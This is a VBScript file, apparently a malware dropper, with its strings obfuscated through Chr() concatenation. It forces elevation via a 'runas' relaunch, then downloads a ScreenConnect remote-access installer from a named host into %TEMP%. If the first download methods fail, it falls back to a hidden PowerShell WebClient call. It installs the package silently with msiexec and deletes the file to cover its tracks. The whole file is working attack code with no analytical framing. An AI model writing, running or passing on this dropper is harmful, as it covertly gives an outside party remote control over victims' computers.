Set app_fd7529   = CreateObject("She"&Chr(108)&"l.Applic"&Chr(97)&"t"&Chr(105)&"o"&Chr(110))
Set wsh_468650 = CreateObject("W"&Chr(83)&"c"&Chr(114)&"ipt.Shel"&Chr(108))
Set fso_165e46   = CreateObject("Scripting."&Chr(70)&"i"&Chr(108)&"eS"&Chr(121)&"st"&Chr(101)&"mObjec"&Chr(116))
If Not WScript.Arguments.Named.Exists("Elevated") Then
    Dim bAdm : bAdm = False
    On Error Resume Next
    CreateObject("WScr"&Chr(105)&"pt.Sh"&Chr(101)&"ll").RegRead "HKEY"&Chr(95)&"U"&Chr(83)&"ERS"&Chr(92)&"S-1"&Chr(45)&"5-"&Chr(49)&"9\"
    bAdm = (Err.Number = 0)
    Err.Clear : On Error GoTo 0
    If Not bAdm Then
        app_fd7529.ShellExecute "ws"&Chr(99)&"ript.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " /Elevated", "", "r"&Chr(117)&"nas", 0
        WScript.Quit
    End If
End If
On Error Resume Next
Dim url_4fb784, msi_aedd5d, ok_2780ee
url_4fb784 = "https://esteemconstructions.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
msi_aedd5d = wsh_468650.ExpandEnvironmentStrings("%TEMP%") & "\svc_" & Hex(CLng(Timer * 333) Mod 77777) & ".msi"
ok_2780ee  = False
ok_2780ee = Retrieve_7c1cc7(url_4fb784, msi_aedd5d)
If ok_2780ee Then Call Execute_1eaa25(msi_aedd5d)
If fso_165e46.FileExists(msi_aedd5d) Then fso_165e46.DeleteFile msi_aedd5d
Function Retrieve_7c1cc7(url, dest)
    Retrieve_7c1cc7 = False
    On Error Resume Next
    Err.Clear
    Dim h : Set h = CreateObject("WinH"&Chr(116)&"tp"&Chr(46)&"W"&Chr(105)&"n"&Chr(72)&"tt"&Chr(112)&"Re"&Chr(113)&"u"&Chr(101)&"s"&Chr(116)&"."&Chr(53)&"."&Chr(49))
    h.Open "G"&Chr(69)&"T", url, False
    h.SetRequestHeader "U"&Chr(115)&"er"&Chr(45)&"Age"&Chr(110)&"t", "Mozi"&Chr(108)&"la/4"&Chr(46)&"0 (c"&Chr(111)&"mpatibl"&Chr(101)&";"&Chr(32)&"M"&Chr(83)&"I"&Chr(69)&" 7.0;"&Chr(32)&"Wind"&Chr(111)&"w"&Chr(115)&" NT 6"&Chr(46)&"0)"
    h.setOption 4, 13056
    h.Send
    If Err.Number = 0 Then
        If h.Status = 200 Then
            Dim s : Set s = CreateObject("ADO"&Chr(68)&"B"&Chr(46)&"Str"&Chr(101)&"am")
            s.Type = 1 : s.Open : s.Write h.ResponseBody : s.SaveToFile dest, 2 : s.Close
            If fso_165e46.FileExists(dest) Then
                If fso_165e46.GetFile(dest).Size > 0 Then Retrieve_7c1cc7 = True : Exit Function
            End If
        End If
    End If
    Err.Clear
    Dim x : Set x = CreateObject("Msx"&Chr(109)&"l"&Chr(50)&".S"&Chr(101)&"r"&Chr(118)&"e"&Chr(114)&"XML"&Chr(72)&"T"&Chr(84)&"P.6"&Chr(46)&"0")
    x.open "GE"&Chr(84), url, False
    x.setOption 2, 13056
    x.setRequestHeader "A"&Chr(99)&"c"&Chr(101)&"pt", "*/*"
    x.send
    If Err.Number = 0 Then
        If x.status = 200 Then
            Dim s2 : Set s2 = CreateObject("A"&Chr(68)&"ODB.S"&Chr(116)&"ream")
            s2.Type = 1 : s2.Open : s2.Write x.responseBody : s2.SaveToFile dest, 2 : s2.Close
            If fso_165e46.FileExists(dest) Then
                If fso_165e46.GetFile(dest).Size > 0 Then Retrieve_7c1cc7 = True : Exit Function
            End If
        End If
    End If
    Err.Clear
    wsh_468650.Run "powershell -WindowStyle Hidden -NoProfile -Command ""(New-Object Net.WebClient).DownloadFile('" & url & "','" & dest & "')""", 0, True
    If Err.Number = 0 Then
        If fso_165e46.FileExists(dest) Then
            If fso_165e46.GetFile(dest).Size > 0 Then Retrieve_7c1cc7 = True
        End If
    End If
    Err.Clear
End Function
Sub Execute_1eaa25(path)
    On Error Resume Next
    wsh_468650.Run "msiexec.exe /i """ & path & """ /qn /norestart", 0, True
End Sub